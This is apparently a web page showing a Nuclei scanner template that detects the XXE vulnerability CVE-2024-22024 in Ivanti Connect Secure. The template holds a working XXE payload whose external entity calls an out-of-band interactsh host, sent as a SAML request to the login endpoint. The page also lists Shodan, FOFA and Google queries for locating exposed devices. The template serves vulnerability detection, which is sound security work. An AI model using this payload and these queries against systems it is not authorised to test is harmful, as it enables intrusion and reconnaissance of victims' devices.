Ivanti Connect Secure - XXE

ID: CVE-2024-22024

Severity: high

Author: watchTowr

Tags: cve,cve2024,xxe,ivanti

Description

Ivanti Connect Secure is vulnerable to XXE (XML External Entity) injection.

YAML Source

id: CVE-2024-22024

info:
  name: Ivanti Connect Secure - XXE
  author: watchTowr
  severity: high
  description: |
    Ivanti Connect Secure is vulnerable to XXE (XML External Entity) injection.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access to sensitive information or remote code execution.
  remediation: |
    Apply the latest security patches or updates provided by Ivanti to fix the XXE vulnerability.
  reference:
    - https://labs.watchtowr.com/are-we-now-part-of-ivanti/
    - https://twitter.com/h4x0r_dz/status/1755849867149103106/photo/1
  metadata:
    max-request: 1
    vendor: ivanti
    product: connect_secure
    shodan-query:
      - "html:\"welcome.cgi?p=logo\""
      - http.title:"ivanti connect secure"
      - http.html:"welcome.cgi?p=logo"
    fofa-query:
      - body="welcome.cgi?p=logo"
      - title="ivanti connect secure"
    google-query: intitle:"ivanti connect secure"
  tags: cve,cve2024,xxe,ivanti
variables:
  payload: '<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM
    "http://{{interactsh-url}}/x"> %watchTowr;]><r></r>'

http:
  - raw:
      - |
        POST /dana-na/auth/saml-sso.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        SAMLRequest={{base64(payload)}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol  # Confirms the DNS Interaction
        words:
          - "dns"

      - type: word
        part: body
        words:
          - '/dana-na/'
          - 'WriteCSS'
        condition: and
# digest: 4a0a004730450220567d97497d452f86cc5f0a2b82142b8d83236faac509665d04654bc5c22f9e07022100fa9ffb2a949f23863a73d97d5f81cf78c047c6d3abd21f8e4084792e6ea957cb:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-22024.yaml"

View on Github